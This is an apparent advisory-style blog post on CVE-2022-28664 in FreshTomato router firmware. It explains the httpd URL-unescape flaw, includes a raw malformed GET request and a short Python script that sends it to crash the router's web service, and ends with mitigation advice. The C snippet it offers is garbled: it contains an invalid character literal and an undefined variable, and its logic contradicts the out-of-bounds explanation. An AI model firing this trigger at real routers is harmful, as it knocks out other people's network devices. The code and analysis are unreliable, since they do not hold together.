FreshTomato is a popular open-source firmware for wireless routers, especially for MIPS-based devices. Security researchers discovered a serious flaw in the httpd web server included in FreshTomato version 2022.1, tracked as CVE-2022-28664. This vulnerability allows an unauthenticated attacker to cause memory corruption simply by sending a specially-crafted HTTP request. Let’s break down what this means, why it's dangerous, and show you exploit details with code examples.
What’s the Vulnerability?
The problem lies in how FreshTomato’s HTTP server (freshtomato-mips httpd) processes URLs—specifically, its custom routine for “unescaping” URL-encoded data. When converting data like %20 back to spaces or handling encoded input, malformed data can trick the routine into corrupting memory on the router.
Why Does This Matter?
- No login required: Anyone on the same network as your router, whenever the web interface is enabled, can trigger the bug.
- Potential for severe damage: Memory corruption can lead to a crash (denial of service), data leaks, or even running code on the router.
- Affects critical routers: FreshTomato is often used for extending the life or adding features to home and small business routers.
What is “unescaping”?
URLs use escape sequences, like %20 for space, to handle special characters. Web servers must “unescape” (decode) these when serving web pages.
Vulnerable code path:
The function that decodes these in FreshTomato’s httpd doesn’t properly validate input. If it sees an incomplete or malformed sequence, it may read or write past the buffer—this is what’s called a memory corruption.
The bug comes from code similar to this (simplified)
int httpd_unescape(char *dst, const char *src, int len) {
/* ... */
while (*src && len--) {
if (*src == '%') {
if (isxdigit(src[1]) && isxdigit(src[2])) {
*dst++ = (hextoi(src[1]) << 4) | hextoi(src[2]);
src += 3;
continue;
}
}
*dst++ = *src++;
}
*dst = '\';
return dst - dst_start;
}
The code assumes that both src[1] and src[2] are valid whenever it sees a %.
- If an attacker sends a URL ending with a standalone %, or %X with only one digit after, the code accesses memory it shouldn’t—potentially leading to undefined behavior, memory leaks, or a crash.
Original reference code
- FreshTomato GitHub - httpd source, url_unescape function (see the url_unescape implementation)
Exploitation
Because the bug is in the first line of defense—the URL decode routine—attackers can exploit it _before authentication_. Triggering it is simple: just add a specially crafted URL-encoded string at the right endpoint.
Sending this HTTP GET request can crash the service
GET /index.asp?test=% HTTP/1.1
Host: <router-ip>
User-Agent: exploit
Here’s a tiny script to trigger the bug
import socket
router_ip = "192.168.1.1" # Change to your router’s IP
s = socket.socket()
s.connect((router_ip, 80))
payload = (
"GET /index.asp?user=% HTTP/1.1\r\n"
"Host: {}\r\n"
"User-Agent: exploit\r\n"
"\r\n"
).format(router_ip)
s.send(payload.encode())
print("Payload sent!")
Security Impact
Worst case? An advanced attacker may be able to execute code on the router—taking complete control, running malware, or making your device attack others.
How Can You Protect Your Router?
1. Update Now: If a firmware update is available for your device/variant, upgrade to the latest FreshTomato version.
2. Disable Remote Web Access: Make sure web management is only enabled on local, trusted networks (never via the internet).
3. Restrict LAN Access: Only trusted devices should be able to connect to your router’s admin page.
4. Follow Vendor Reports: Monitor FreshTomato's official website and release notes for new security patches.
References
- CVE-2022-28664 - NVD Entry
- Original FreshTomato Issue Report
- Source Code - url_unescape()
- FreshTomato Official Home
Conclusion
CVE-2022-28664 highlights the importance of secure input parsing, especially in network-facing, embedded devices like routers. Because memory corruption often leads to serious attacks, users must update promptly. Always isolate your device admin interfaces from untrusted networks.
Timeline
Published on: 08/05/2022 22:15:00 UTC
Last modified on: 08/09/2022 19:28:00 UTC